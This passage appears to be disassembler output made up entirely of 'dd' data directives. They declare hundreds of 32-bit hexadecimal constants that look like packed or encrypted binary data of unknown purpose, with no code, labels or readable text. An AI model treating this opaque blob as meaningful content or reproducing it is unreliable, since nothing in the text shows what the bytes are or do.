		dd 0E7435B85h, 5B99ADE9h, 58A98F32h, 40E5C9B1h,	78015ECEh
		dd 898627C3h, 7EC1143Ah, 0BA6600CBh, 2E76743Dh,	105ED029h
		dd 870B7BA2h, 5E02AE1Eh, 0F841AE5h, 0EBE90F87h,	681768D0h
		dd 0DB3214F7h, 0F2364153h, 2F0171BBh, 29A5BCFDh, 8014F5CFh
		dd 745DBDC5h, 2B921D3h,	115F1B43h, 0BE62E931h, 12FC7E84h
		dd 400C1EBBh, 214BC677h, 570259CEh, 0B0658DBFh,	2639C023h
		dd 7CC5083Dh, 0EF01F729h, 0D9A0239h, 0FE80C8Eh,	748058ABh
		dd 0F789575Fh, 0EBD86C8h, 0C807E22Ch, 7E504904h, 0D8284A1Dh
		dd 0C5BC5B97h, 5F92C110h, 0A2017BF0h, 4E16DFCEh, 3C0E134Fh
		dd 290378B8h, 0A6EEB547h, 0EE0330B5h, 0C7B39519h, 12B465D3h
		dd 0B8E70E1Eh, 0FAFB21ABh, 40C75A61h, 287CAB64h, 92B5495Eh
		dd 0B2F3005Eh, 247DA04Bh, 7DEEE83h, 0DEE6D1DEh,	0C826FFE0h
		dd 1F27E943h, 58E03CEBh, 0F35B5F68h, 0CAE90CAFh, 1E30C12Ah
		dd 8C12471Eh, 5C4AE565h, 3F8AFFA0h, 50452BB6h, 6BC0E21Fh
		dd 35B816E1h, 1D282FC3h, 0B9443751h, 2DAF8995h,	0F03C2EAAh
		dd 0AB0F2D66h, 24E96A28h, 0F9A0C2A2h, 585D5000h, 2D0012Dh
		dd 0E82960D7h, 0AF074505h, 16EA0531h, 6FF5E47h,	7427DCEh
		dd 362FA9BFh, 0D00FA44Ch, 52442CFEh, 289DB232h,	0B0F809AFh
		dd 720B4CA0h, 0B432492Eh, 10D0F19h, 4227F02Ch, 0BBDF5989h
		dd 88D54520h, 7C1DA33Ah, 1A4787D6h, 4E056644h, 0BE4C087h
		dd 0EC0229AEh, 0E292A9E0h, 40D41782h, 44E37E25h, 0A41A8741h
		dd 0BCD8AEF4h, 0F43B5E68h, 0F55505C0h, 0E11061ECh, 5E898047h
		dd 926CA35h, 250A9014h,	57DE9D67h, 0C1E15951h, 20256808h
		dd 70EED453h, 804A2C1h,	0D9015355h, 3469F180h, 4F5E2C1Fh
		dd 1781C0Dh, 0D7F7156Ah, 0C7148047h, 675F090Bh,	9084FE9h
		dd 9B7D58C4h, 0C88D0571h, 0BE4CD411h, 0F2300702h, 2FD4547Eh
		dd 3BD3F970h, 64123452h, 0B292C4EDh, 69C7CA04h,	51619089h
		dd 0A02B919h, 464E590Fh, 9EB01077h, 59030F0h, 826C533Ch
		dd 40982598h, 0E908EF50h, 5905ED27h, 113B2C6Ah,	90A24FEEh
		dd 0C09EBD8Ah, 0E54300Ah, 2A885A1h, 1414051h, 0B953B63h
		dd 88B85080h, 0C16DD42Ah, 0F708E800h, 6C2605D0h, 3271F990h
		dd 4788DC45h, 64F302CBh, 0EBC10293h, 7899E0E3h,	1EC20F7h
		dd 0EFE9DF12h, 77B2EBE0h, 0C49D5AF6h, 1E67BC5Ah, 99932554h
		dd 76BB6F52h, 65BFCD25h, 0ED02BFD9h, 1D965518h,	7B5721E0h
		dd 0C54B142Eh, 810ABEA4h, 0C340BC5h, 865F1709h,	0B7462FEAh
		dd 0B579142h, 0BF7AF6D7h, 0D0D45FF9h, 0BF02AF96h, 0D929D925h
		dd 8FD8CB52h, 43FC1E1Fh, 3FF3F101h, 0EAF20A9Fh,	2FDE569Dh
		dd 0FA54A6C4h, 685156DDh, 0D3F34222h, 6C967AF6h, 0E4C77CBCh
		dd 815DD50Ch, 0A77B9EEAh, 5A4FF498h, 265B24C8h,	0C92B1B9Fh
		dd 9433AE43h, 3A59540h,	81210734h, 7CD09ECAh, 0AB5DE90Fh
		dd 5E680BECh, 8B38D11Ch, 96711598h, 3ED45E47h, 0DD7AA1F1h
		dd 982A30ECh, 66DC6716h, 13977708h, 82290B54h, 0C3BED561h
		dd 59893127h, 0A766942h, 50CBE947h, 0DB479D77h,	52272032h
		dd 6AC10925h, 8957658Eh, 0C2C954B9h, 0D1029FAEh, 3AB560EEh
		dd 661F1867h, 1BB8B246h, 0BCAADC26h, 0E96157AEh, 352B202Dh
		dd 6BF4BDAEh, 4771FC0Eh, 2EAA29D2h, 0F97F07D7h,	10C28A98h
		dd 0C46625ECh, 7AB825A9h, 4E30DEF1h, 0BE5DE568h, 116E6234h
		dd 5F5ACF56h, 82253547h, 680D036Bh, 9D46D038h, 0C795E0B4h
		dd 0B22A98h, 22CA188Eh,	0E184E3BAh, 79E1864Fh, 1E84C16Fh
		dd 4FE05B4h, 80E82402h,	0A847EDB0h, 0E90BDC09h,	22FB561Bh
		dd 5E45B5E0h, 4309388h,	0E8DA0158h, 8DABA4CFh, 9CF4FF39h
		dd 51605A77h, 3AE957D0h, 62408223h, 8F3DBA16h, 9F7C9655h
		dd 7E10B48Ah, 4FF04EE1h, 811F9C2Eh, 6668F3C5h, 1DC0EC2Fh
		dd 0F60CCE9Fh, 24935ADDh, 0DFACFCEFh, 2F81E496h, 7305F54h
		dd 90020BC7h, 0BA804957h, 7C62A4Ch, 0D536BEA0h,	0E9A82904h
		dd 4161AD0h, 17E33DADh,	0FD135FE3h, 3E61AF5Fh, 8A2D39CDh
		dd 96778A9Ah, 0D1E92769h, 0CA09FDC0h, 0AEA0BFA5h, 57FCFF4Bh
		dd 139F5624h, 5F8FC8D9h, 1A007D90h, 50420A74h, 0C479D6E9h
		dd 0A077BB20h, 0C32C81BDh, 601DD9C6h, 89BEF381h, 0EAF0DC4Ah
		dd 2D050447h, 84DA296Fh, 5B0809D3h, 57518582h, 0BD7F4D40h
		dd 24577058h, 0C307FEE7h, 765C17Ah, 0E7EEDC2h, 0D75C1D9Ch
		dd 0D5E78716h, 899B45FEh, 0D68CC2F5h, 0E3407722h, 33A948B5h
		dd 0CCC05F16h, 78BE84C7h, 0ED78FD0Ch, 0A395A0C3h, 0A893969Bh
		dd 342F0221h, 4E462EB6h, 7B86EC5Dh, 0E70E16E6h,	2AD3004Ah
		dd 0E90AA604h, 0D6A4Dh,	0B35491BFh, 0BEFD163h, 3FD7CF81h
		dd 40F125Ah, 0B7B0747h,	0A03B4BC9h, 5CC36D0Ah, 0FB026263h
		dd 4F244B0Eh, 0EFF1105Dh, 31F009A2h, 3F601BDh, 0B65AF1A8h
		dd 7C60B041h, 0B02E77A3h, 3705352Ch, 2D0A436Bh,	50AF16C1h
		dd 48BA3FD4h, 8A133BAEh, 0E6D4B47Fh, 2D68E040h,	818262Fh
		dd 9EAC786Bh, 2E5C003h
		dd 0B53ACD80h, 5BC5C7B0h, 37D841A9h, 50353F27h,	6A9A1292h
		dd 0CFBDE93Ch, 0F4A1ABBCh, 65E007C3h, 4C62BA13h, 202C2440h
		dd 3E5428B3h, 1F9685F5h, 7358A873h, 74E9C209h, 989075DDh
		dd 854F0434h, 0F474CFECh, 0DDF5Bh, 80F8B652h, 0C6E67BE6h
		dd 0CE7D0E76h, 0E9C006C7h, 95ACF0F4h, 0E2DE139Eh, 5026077Eh
		dd 6B3635Ah, 80174E9Eh,	1D4210E0h, 48F1035Dh, 0ABB01730h
		dd 34F7B820h, 356E0923h, 0AD465753h, 772BB04h, 99BA3EAAh
		dd 68847B26h, 0CC82CAAAh, 49E9335Ch, 0B55EEA0Dh, 0EE626BB2h
		dd 5CAA62C7h, 9430256Dh, 61828A4Dh, 0A33EE6D8h,	11C5505Eh
		dd 1A5D7B10h, 72EBEF02h, 0E175194Eh, 2D69B55h, 2ACAF868h
		dd 24D2147Dh, 2C1958C6h, 0C91D4F19h, 82D4E3A8h,	62C48D44h
		dd 58C020BBh, 241347C7h, 8E140686h, 49E06FDFh, 1F5FDB29h
		dd 554E6027h, 3681CFF9h, 404A5B4Dh, 2F2C4981h, 4182589Dh
		dd 0B3C82B8Bh, 0C8283C62h, 0CDDC1E66h, 2FF70E90h, 0C8D9AACDh
		dd 9FD0A572h, 0BF1CCE84h, 815E81CAh, 29357540h,	5CA99A5Ah
		dd 605D5903h, 3B402156h, 0B971FE68h, 4C566CAAh,	0CFF2F85Ch
		dd 9DE22A5Eh, 0DA135D96h, 12BE5FEAh, 0A2C25235h, 0D48C9FF7h
		dd 0AC51D8Ch, 7D70EA6h,	421E1C98h, 0C1015BF4h, 5434925Eh
		dd 9FD70B1Dh, 5BD14BA0h, 0EFC740E7h, 3AF39FCh, 40FE8926h
		dd 0B159D010h, 68B9044Bh, 0E06DBF5Eh, 0D607B22Eh, 7C861F4h
		dd 12E8C159h, 0D84E6E31h, 0E908C38Ch, 5FD6DA54h, 502DC8BBh
		dd 72A85ACh, 748EB80h, 745D5EC3h, 0E77D8110h, 0C0D96F2Bh
		dd 5532060h, 2D36FEBBh,	0B00AF3Ch, 6FE46855h, 3EC24CD3h
		dd 40E9EB0Ah, 5F5989C8h, 1070BCFEh, 205D81FBh, 32BACE9Bh
		dd 0EB87D30Bh, 625C0B45h, 0FFDD5A72h, 9B8A06B4h, 27872006h
		dd 5A40D3E9h, 33EEB7B5h, 69E8354Fh, 68F9F7A0h, 0EF06AA24h
		dd 8534406Bh, 0F3098275h, 5DD5A2F5h, 6B7BF65Bh,	0E90975D9h
		dd 0F3F3E9D5h, 0F25A5E32h, 75DAC9E6h, 0BCE94402h, 3B58AAE9h
		dd 0B24AB9CAh, 42EF8BCAh, 7475518h, 0F9E9E805h,	747C993h
		dd 0B642CB3Ah, 0CFB7C21Dh, 5A220BE8h, 1D877749h, 7ED2131Eh
		dd 749C0F00h, 7D0955A2h, 12225AD1h, 5624AB33h, 57A4E509h
		dd 2FCA4C9Bh, 0E0F19090h, 333E7403h, 0F1CB8953h, 6C7BC69Ch
		dd 414AE9A9h, 0DFA8E213h, 0E98430B4h, 33A0FDDDh, 40136974h
		dd 0ED44514Eh, 32EF2B68h, 56DC5440h, 0E97C5E5Ah, 26C287F4h
		dd 86590432h, 0BF85EF8Dh, 0FA03ECA7h, 2AC181F6h, 18CF1204h
		dd 68ED98BBh, 2F6E6B31h, 5539283Dh, 2E377E10h, 0D2135431h
		dd 782A6D0Bh, 2DE2807Ch, 0EF5D1C09h, 47ADFA6Eh,	3C585069h
		dd 20E24A57h, 0AE154CC1h, 1B43035h, 0D60BFF8Ah,	1F479406h
		dd 96BFF0FAh, 0E305209Bh, 0CEBC646Ch, 0ADC74FF4h, 0B1A4B469h
		dd 32735EF5h, 0C78F9C4h, 79F66825h, 21B58023h, 0EC2850B4h
		dd 0BC402490h, 7694B031h, 0CFD0B478h, 0EB76C049h, 68E808AAh
		dd 6439E52Fh, 0D95258E2h, 2BB5E14Bh, 7899F29h, 0E6F85FE9h
		dd 0CFA2E6B5h, 0AA73C63Ah, 89147128h, 71D7AF8Ah, 505A6223h
		dd 5FB0E27Dh, 48025365h, 0E01DC04Fh, 0BF276E71h, 68C2A91Eh
		dd 717D8768h, 800CB2FFh, 0EE03D77Eh, 2C44EE9h, 7DB6EFBDh
		dd 48406B36h, 213E6D38h, 4CE70729h, 181C3541h, 152316BAh
		dd 52AD1318h, 92FDE9E6h, 0CA4D7CE7h, 0C4D04D3h,	4FAEA2BDh
		dd 1D5F7BBCh, 0F2A652DAh, 595413C6h, 11779AAh, 34F481h
		dd 3D61FD2Dh, 4E797B72h, 2F36D17Dh, 825C210Ch, 0D78FE64Ah
		dd 3DEDF949h, 1FAAEA83h, 7CD91166h, 0EDA32FEEh,	995B899Fh
		dd 17EEFF7Ah, 0F531ED5Fh, 0B739E5ABh, 0E14E9702h, 0F2F83165h
		dd 5CAADA20h, 0DA404A66h, 21AB932Eh, 0C9F19F8Fh, 0AE760807h
		dd 0E2626BEFh, 18CC57C8h, 45FB60Eh, 51F003E5h, 0B53BC052h
		dd 0C5803974h, 2AED0D73h, 0D610F528h, 0C05AA10Fh, 68003E5h
		dd 0EB75305h, 84594AE9h, 66AD4A7Eh, 0C210EA88h,	0A992CC93h
		dd 0BDFF80B7h, 5C6A782Ch, 2F7C5526h, 0D0648B46h, 2BB58B90h
		dd 90565190h, 0E9560483h, 56AB9A5Ch, 49331EF0h,	0A99407C2h
		dd 976AEC95h, 28291AE6h, 0DE039918h, 0B2CD9569h, 89CCD144h
		dd 0A5A023E9h, 840FC23Bh, 0C52ADE20h, 0AC7F4B82h, 15BCC469h
		dd 0A14B8BB7h, 38E631C4h, 229CC1C2h, 84641031h,	0CEDD1367h
		dd 980DC7EFh, 27C6D327h, 0E9782374h, 0AEC49247h, 5FFB2598h
		dd 0F720FA6Ch, 5CE3E0F8h, 0B67A9D58h, 3C68848Dh, 0F05FC943h
		dd 19BF91FAh, 49359AA8h, 4A4C012Fh, 83132435h, 0AA5B570Ch
		dd 19F7E050h, 69970944h, 9AD5B768h, 14DF6099h, 28BD001Ch
		dd 0CB2CA81h, 0F2EC491Eh, 0ED0DCC16h, 18021BF8h, 523BEB48h
		dd 5A61BFF0h, 0E72EA622h, 2BEE21h, 5EE8E644h, 498579Ah
		dd 0A2025C14h, 1C616A3h, 46350C8h, 31EDDF7Ch, 4056C5F7h
		dd 5AF028F6h, 35F45166h, 0BC5BCA40h, 0AA8B49F3h, 0E9126CBEh
		dd 604070CAh, 6D334E43h, 5DEF2889h, 0F64474C1h,	7A8EA02Ah
		dd 6BBB2578h, 0C4827474h, 7E4CD41Ah, 1848813Eh,	3F89DEE7h
		dd 4EE924A4h, 47B7F49Dh, 0D0CA2007h, 4F772612h,	0C6410370h
		dd 57F73F61h, 74E3E909h, 0A7C7BABh, 0C05A61A1h,	28C16373h
		dd 1A2270Eh, 2E477554h,	3142E9h, 625225BDh, 0EE5C668Bh
		dd 7D849A5Dh, 503FD5E9h, 5EF868A0h, 0DFC4C9B5h,	0B6068004h
		dd 1812715Dh, 221CE5C1h, 41550B17h, 535080CFh, 2C523E68h
		dd 170E7C31h, 85B6F986h, 0D45FB8D4h, 36702CDCh,	5A5AF388h
		dd 78FDBD58h, 99B55C4Ah, 0F222EE51h, 0D0E6CC6Bh, 56A8119Ch
		dd 6C55F880h, 8B641718h, 9F545722h, 0F925C25Bh,	9DA4236h
		dd 614A1275h, 0F32AE8C4h, 0C7271019h, 7F010538h, 0D82932F4h
		dd 1207452Dh, 1052AB84h, 202D9CE8h, 10478609h, 17685C82h
		dd 0FB9B757Ah, 2B0709C9h, 5EE4DA8Ch, 0E6FDD0C0h, 6050DC23h
		dd 551682F2h, 0A5E02CDDh, 0A7731C92h, 5121430Dh, 1DD078D4h
		dd 2D300F3Dh, 6F8CA8F7h, 29CA0045h, 0EAC158C2h,	0E2068103h
		dd 4D65772Ch, 1738090Ch, 0CD033F66h, 0AF951004h, 0EEBA07C7h
		dd 0AE20D9A0h, 3578C0F4h, 5D7163FBh, 240564C0h,	0B7AA7E44h
		dd 58D6E30Bh, 53FA2212h, 287AB888h, 0F195CAC3h,	4CE9708Bh
		dd 0E4C0A2A8h, 7660258h, 15E68007h, 0AD7CDE4h, 502EC780h
		dd 43205B0h, 0C3C0FE9Eh, 79016F01h, 685557E2h, 50ED4748h
		dd 4BBAFC30h, 0BD8281Fh, 7D348E69h, 1FFEC396h, 0DFA51541h
		dd 0F2C8C5F6h, 3B4468C1h, 2C8BA3Ch, 681C794Bh, 997F093Fh
		dd 7A605AB2h, 0C895CB80h, 488D4D5Dh, 0C5204529h, 56535C01h
		dd 0CC6F24BEh, 0C0EFB844h, 1BFCB60h, 53549D06h,	0AC40CFFh
		dd 0DBB5E94Bh, 4E68BA6h, 0B483355Ch, 0CB5AF188h, 28AFD8D3h
		dd 0E52C74C8h, 0ABD559E1h, 0E16A0BF5h, 92CB737Dh, 93C06C0Dh
		dd 0F4EC997Eh, 0D593AFBDh, 0CAD0EB16h, 2E9D48C1h, 0A00997EEh
		dd 682E40B0h, 3A7B8426h, 1D789688h, 0AA6392ACh,	4C89649h
		dd 0B6F3EAD0h, 9F0FA45Ah, 0EA8865C0h, 9F28059h,	0D3B551E3h
		dd 0F54D8257h, 777AE06Eh, 0E922C330h, 0BF3BD778h, 9E3A8781h
		dd 4FC33B69h, 0E0715BCEh, 705A6CF1h, 0B8D2C3ECh, 3158D8DDh
		dd 34E85A30h, 489EF42h,	872C2628h, 946D13B7h, 47D2BF4Dh
		dd 0A3905D5Dh, 44E3DE9h, 1238B4D1h, 9C6AC104h, 0A56C2A98h
		dd 6605BFF4h, 0DCF665Dh, 530C8399h, 415ACC54h, 0CFCC38FBh
		dd 2D6863D5h, 58511007h
		dd 2AE44ADAh, 0BB9567BDh, 1044D0F7h, 0F97E89B5h, 9CA2927h
		dd 4C514160h, 324C146Ah, 80CEFE03h, 601DFC6h, 5AF4308Fh
		dd 793C21E9h, 9A765D25h, 587B7698h, 0E4D3168h, 7D55587h
		dd 16768BA3h, 0D0838C15h, 0F7E2C2E1h, 44B5BE78h, 0B9534F01h
		dd 8EAEE551h, 4E2F181Dh, 0B67F1361h, 50049848h,	79957CB3h
		dd 7AE904BFh, 0A152A874h, 332F10DEh, 4E9B407Ch,	51C3AFB4h
		dd 0A34CB0E3h, 9EBEC1Fh, 35334F37h, 7933A255h, 42F4D47Eh
		dd 84FD665Ch, 1CB897DAh, 0A573F84Bh, 98861E8h, 619E7769h
		dd 0CD7AC845h, 0AFC3457Bh, 7A6303CEh, 0E576B97Eh, 0C8F5F0Fh
		dd 6CCFABE1h, 9F197AB3h, 93BD72DBh, 0BAD015EDh,	139334D6h
		dd 0B9C5296Ch, 0AADF8484h, 0F2B261FBh, 0CFE76E35h, 6BF6BD02h
		dd 855F444Dh, 23D1848Bh, 9F44435Eh, 0BAC364C0h,	0F012850h
		dd 73FE2AEh, 0BB536C3Ah, 7FE3C275h, 0EE82A58Bh,	0C875895Dh
		dd 2864D024h, 40DE26A9h, 2C130517h, 990412D2h, 0FF1C87A3h
		dd 0C7E68181h, 0F72B3502h, 45B0A2h, 0AE27D228h,	266D659Ah
		dd 1D750839h, 0F318582Fh, 2475CB6Fh, 68867BCAh,	4A152CB7h
		dd 15ABD46h, 36865BA8h,	34D83558h, 0E923126Fh, 0C7B140h
		dd 75BF578Eh, 477D8DE0h, 5A285259h, 3848F78Fh, 6623F489h
		dd 9BB935B5h, 0FA719798h, 71AF4565h, 256DE9FCh,	30B62E29h
		dd 0B462C669h, 1DAA4755h, 1D39B5E9h, 25EECC26h,	5E4C5424h
		dd 23F31079h, 4A5F5824h, 360D0022h, 8DE90C66h, 5AEE82BFh
		dd 38B5CD1h, 9009AE23h,	0EAD00DF2h, 2721FB95h, 1E137474h
		dd 4B2DE740h, 6B03E863h, 0BFE196C1h, 4D97F040h,	0A30F9028h
		dd 0B82B8909h, 0CFEF401Eh, 873185Fh, 1CC50C44h,	0FCEADC50h
		dd 29548BFDh, 0CD1804FBh, 0E95BAACAh, 0EE8185A5h, 0BBA40FFDh
		dd 8C4CB28Eh, 0F641095Bh, 4697C6FCh, 645EEAC2h,	0F0C64A9Eh
		dd 309F5F00h, 0FEE1F79Ah, 41944F33h, 3A1CE46Ch,	0FDC7D8CEh
		dd 18170409h, 25A6201h,	41565A08h, 0D3AFF267h, 700253E1h
		dd 76910891h, 49A08112h, 30C17D88h, 0C965A5A4h,	0F63D3349h
		dd 4267AD21h, 7C195F76h, 92AD685Ah, 0A739AEACh,	0DFCD3D60h
		dd 0B5A04765h, 0BAEAB1F5h, 36207D7Fh, 270E98BEh, 0DA591B9Ah
		dd 1E4963AAh, 6F68171Ch, 3C92EE5Eh, 0E186EA41h,	9EE5CCFEh
		dd 984E2378h, 1249681Bh, 0C5294B43h, 4E848F2Ah,	23A1FDA8h
		dd 0A3CC2EE5h, 988BBACCh, 30060B1Fh, 0FCFC5BDEh, 0F028B785h
		dd 0BAA587BCh, 0D7475404h, 199DE540h, 0BE903E21h, 3029BB0Ch
		dd 16A81864h, 0E201936Ah, 74E0C08Dh, 0B250A4Ah,	7C9070B9h
		dd 5B51107Dh, 0FB4CC766h, 39585B56h, 84C308CBh,	0D0B2887Eh
		dd 0A11DE94Fh, 53032B7Bh, 9DA11BB2h, 48753A68h,	8122943h
		dd 0B1523382h, 0D7CA550Ch, 62860EE1h, 2DF58BCh,	3D73853h
		dd 0F101F3FCh, 0EBD315C8h, 0D85FE83Ch, 89978916h, 0DA6733E6h
		dd 17A5FE16h, 4859CA5Fh, 1EA130BDh, 261BC3B9h, 2D1B7956h
		dd 0C0E6C22Ch, 4C150CA8h, 7A3BCA27h, 5F08812Bh,	0C8D990A5h
		dd 0B3C01896h, 275765B9h, 0F2595314h, 0F5088809h, 0E9178014h
		dd 5CA46B94h, 0A15E7CBFh, 237C5CF8h, 2FF4B807h,	0F0CC1F68h
		dd 0C758310Bh, 726C17E0h, 6FA2BEFCh, 5E5A10D0h,	0F4B284ACh
		dd 0FF9CCC52h, 14F20C4Bh, 0CA810D4Ah, 603E69B3h, 122EBDA4h
		dd 4882AA2Ch, 6020D473h, 7935BF59h, 986798BCh, 0F5088BC7h
		dd 975ADFA4h, 61305852h, 7AB860E6h, 874011Dh, 0BA20ED05h
		dd 7E22FD2Dh, 0CBC7511Dh, 0B21AA29Eh, 0AFFE5E2Dh, 9DF52860h
		dd 84BD5580h, 0AA5E6EF6h, 0B661F731h, 39383832h, 3EE91D2Ch
		dd 54F4C055h, 0A57D8A8Fh, 16BEED10h, 0A768BC0Ah, 0C2FD2FE4h
		dd 0CFB5E2Fh, 6EEEC02Dh, 7898FBh, 0BF025E05h, 45F02D29h
		dd 160830Fh, 7C0794D0h,	4D4411A2h, 8F84FA4Bh, 0E4E432FDh
		dd 6E4D3844h, 968F8523h, 929EFABDh, 0A90A844Ah,	0DB5CB33Fh
		dd 0E9F080D8h, 9C396EFh, 95895749h, 0C64F1452h,	674C83EDh
		dd 2A42292Dh, 2CC4EF55h, 0B57A27AAh, 0C60EE912h, 75204AC9h
		dd 57B62676h, 9D962E77h, 0CD257208h, 51C579E0h,	494FF43Ah
		dd 9E35F21h, 9DCF56D2h,	4C02798Ch, 12BA20BFh, 0C416CC80h
		dd 0BF609591h, 0B36BAB6Dh, 0E3132EC2h, 0B06E46A5h, 0B6734050h
		dd 20280D48h, 50530198h, 0E621B168h, 29AE2019h,	5F5307BCh
		dd 6302CB0Ch, 923D2082h, 0E868E005h, 169D0556h,	947DE995h
		dd 4B90FFB3h, 2C182FC2h, 2D81232h, 6D359D29h, 0EB43487Dh
		dd 2A4018A0h, 75820C33h, 6062A930h, 60DE06F1h, 9A280C3Ch
		dd 0BB98793Fh, 0F234F741h, 724EE2C7h, 0CD5A5A9Ch, 36E42FA2h
		dd 3A66414Bh, 0AF40F4E7h, 0D12B4A28h, 3ECBC424h, 9E7F84C9h
		dd 0D1285ECFh, 349D0DBBh, 69AC3EADh, 0D3F717EDh, 7AF0608h
		dd 845AF328h, 5217A02Bh, 27B95113h, 0A85E2DFCh,	426D2586h
		dd 7894DFB1h, 0EDBCA5FCh, 0E4C5FE0Eh, 31EF065Eh, 2F8E9473h
		dd 2D3BC2DDh, 0D6BAA7B7h, 84E970F8h, 9F243794h,	762BEA01h
		dd 25F06B51h, 2F66B5B0h, 0DD2D1698h, 9696719Eh,	512FC25Ch
		dd 94ECCE77h, 658689EBh, 52508E66h, 0BB4253CAh,	5BDA010Bh
		dd 68600754h, 9B754F0h,	0D6F75E23h, 0BF89384h, 50495831h
		dd 0BADBDF5Dh, 4B6807A1h, 0A478D460h, 2834D110h, 2430DDE8h
		dd 7FB45804h, 0C3275B2Fh, 3102B1E9h, 0F708EDC1h, 4671C0D5h
		dd 0BFAB000Eh, 2D5DE801h, 2A901409h, 0DA0879BEh, 0CFBE030Ah
		dd 83FA5210h, 0CE81C360h, 89F62C4h, 0EB2FAF80h,	1F61920h
		dd 6493BEF2h, 0C75989E8h, 574785B2h, 0A3A78A1h,	138612EDh
		dd 0A4EF479h, 942A8241h, 7E80A4FCh, 0AE00AC41h,	489A0E3Dh
		dd 5B16AE23h, 318A019Ch, 2862E9DAh, 0D0B8037Dh,	0D1609437h
		dd 0D2596A5Bh, 4E29C61Ch, 0BDCC244Dh, 82548D82h, 0E8C3647Eh
		dd 9D92841Bh, 3E7E5009h, 0F75BC448h, 0B0667079h, 25644B04h
		dd 0E113AE7Dh, 57DB2157h, 864B5A42h, 2A971A5Ch,	0FCD28BA6h
		dd 80D396B3h, 936BD4Eh,	9E062030h, 737F45E0h, 28D89002h
		dd 3FE44F16h, 0DB54AFE9h, 0A85B4ADEh, 0FBF0D91Bh, 0D785BB04h
		dd 387440FFh, 21B3D95Ch, 4B2562B0h, 4BD5C6C4h, 8875655Dh
		dd 0CB41DB70h, 0FEC7609h, 8C65BD95h, 37E3DB3Ah,	5ECC984Bh
		dd 4EF60A40h, 3CFAA4D4h, 154A36F8h, 53E066F8h, 14129768h
		dd 2CEF6ECFh, 0C5B53B5Ch, 884B39E4h, 924104FDh,	4B6E8961h
		dd 0A45F5DF5h, 5394F29Ah, 90772BAh, 6D884BDCh, 0B0500963h
		dd 0EF15487h, 0B1515880h, 0C12F8069h, 3A21F834h, 0D9B611E9h
		dd 1F701804h, 705181A1h, 0D640D2A1h, 62DA0FEh, 0CE94A826h
		dd 0C6012859h, 3F9F01D0h, 0C1E97003h, 0A6B72BD8h, 0FE94122Ah
		dd 270B2ECh, 88D3EE80h,	0C07F5AF0h, 0BD195740h,	0E411F4BAh
		dd 68CF8A06h, 5142A15Bh, 886853F7h, 0BB3B7576h,	7AA8A7ACh
		dd 62E6206Ch, 52823150h, 23E86816h, 7B174260h, 0BA2601E7h
		dd 5540BF39h, 81A93029h, 3CA3F238h, 0E4A30FDh, 4F3B706Ch
		dd 88F6E8ACh, 0C2273C8Ch, 4F818945h, 572A7D68h,	6F55FE30h
		dd 0DE1F8BD7h, 833E5642h, 88FA47F6h, 0D097D250h, 2530B1CCh
		dd 63357E58h, 9BB699Bh,	0F825F89h, 3ED3EB12h, 0D4B0F6AAh
		dd 0B45AE80Bh, 86A15D5Eh, 0F64DF3C7h, 0D6CFB4E0h, 7E33D19h
		dd 0F2EB7B0Ch, 0BC96606Fh, 6C3C310Dh, 0D90FC130h, 878221FCh
		dd 0F00166A9h, 5A42123Fh, 79360A68h, 0C7CC13F9h, 18B6C205h
		dd 1E5A8772h, 0D957E563h
		dd 528E8D53h, 0E807552Ch, 31964904h, 9ADB394h, 4F2400E4h
		dd 5E3C8865h, 4D70ECD1h, 69F25A6Bh, 156BE397h, 7CF954E9h
		dd 7956817h, 0AF1019F3h, 0CA04EEAh, 0F66F9009h,	2812968Bh
		dd 0B8E70703h, 0C21B1719h, 9AF5721Ch, 10589BCDh, 4FBB5ED6h
		dd 0F04019B8h, 0E72D80CDh, 461B0E0Bh, 4B88D95Fh, 59A1AA06h
		dd 50255476h, 277EF990h, 5F930045h, 532A28AFh, 8202BB22h
		dd 0DA2440DFh, 14CA9740h, 14760809h, 8EEF5764h,	3DF84EFFh
		dd 2D40279Ch, 2809E5B4h, 875866E1h, 0ADE2621Ch,	62C4D670h
		dd 2009C8F8h, 66CEE6DCh, 7EC94AEh, 0D0F9DB80h, 395C8D2Dh
		dd 28254148h, 5E500705h, 82416083h, 0F6B49E02h,	0B5C27A6h
		dd 0A0A58959h, 0E916E64Ch, 0C2F6C8D1h, 0BD4AC858h, 0BDC14A69h
		dd 8000BE8Ah, 99564E6h,	0FC480781h, 0E095347h, 0C7B78E6Fh
		dd 5B63F828h, 0C281AC5Ah, 0DD76E2FEh, 2575AD10h, 2783158h
		dd 18A0E910h, 9D4D9C9Dh, 895371E1h, 0FEF56815h,	0E7349F2Dh
		dd 3456B956h, 0BD91FDE9h, 73146275h, 0C8010288h, 5AB5E364h
		dd 0ACA385BDh, 0AC8C1379h, 0A013CB82h, 0A9F6BDA9h, 0A6E9E93Eh
		dd 0F3FE123Ah, 15E9C3B7h, 0E8C9101Fh, 370CDE3Dh, 407A2543h
		dd 589D010Ah, 6CC2055Eh, 0AE534DCDh, 75E2699Dh,	0BA75FD09h
		dd 5395DEE5h, 428202AAh, 13C8F371h, 469D2166h, 0C50E20DAh
		dd 17E55895h, 9A12D768h, 9FCF5967h, 0E94ED00h, 68291EDFh
		dd 130828D5h, 3CDAA65Ah, 1376F4BFh, 0D6F83125h,	0B8874299h
		dd 7BB22805h, 809ACC76h, 8A5E09D2h, 0F4EE0C5Fh,	0D784E40Bh
		dd 75F93B98h, 0A1CDE5C9h, 6EDC0AFh, 0F6D1053Bh,	0A09A08DDh
		dd 8528F82Ch, 4FB0EB20h, 0E31F445Ch, 30CABF9Eh,	0EE58663Ch
		dd 235F5286h, 3994C758h, 147496BAh, 2CA0480h, 21AC26F8h
		dd 0D668896Dh, 812DCEEEh, 61CEFE6Ch, 7B9321E9h,	6DEC7888h
		dd 0BD7E0FFEh, 0F10992E1h, 0E084A1A2h, 82F6F86Ch, 7DF88850h
		dd 0D5F604E0h, 5975EFEEh, 0E1E8DF5Bh, 3AB25202h, 7AE0EAD0h
		dd 634C0CC6h, 9042C27h,	0C4820969h, 2D19F64h, 18C69E52h
		dd 0B1DBBCE9h, 3124CEBh, 8E013824h, 2B3D6551h, 35BB1883h
		dd 0C0561DEh, 4CA39A0h,	0F80D17FEh, 0E542B97Ah,	155F06E0h
		dd 5D9C1FF2h, 42AEBA17h, 5AD18939h, 90B482D7h, 853500E8h
		dd 70D205C2h, 948840EBh, 296FF65Dh, 0C50D70F3h,	6EE37213h
		dd 1612F4B0h, 0F3E9F65h, 0B240E21Ah, 0F397E93Fh, 55C7DEBEh
		dd 8CFE17B4h, 65407C61h, 18D548F7h, 95094D00h, 0EAC14A71h
		dd 0E71CC09Fh, 7AAF2E5Fh, 105A24A9h, 0F18103CAh, 7A16B958h
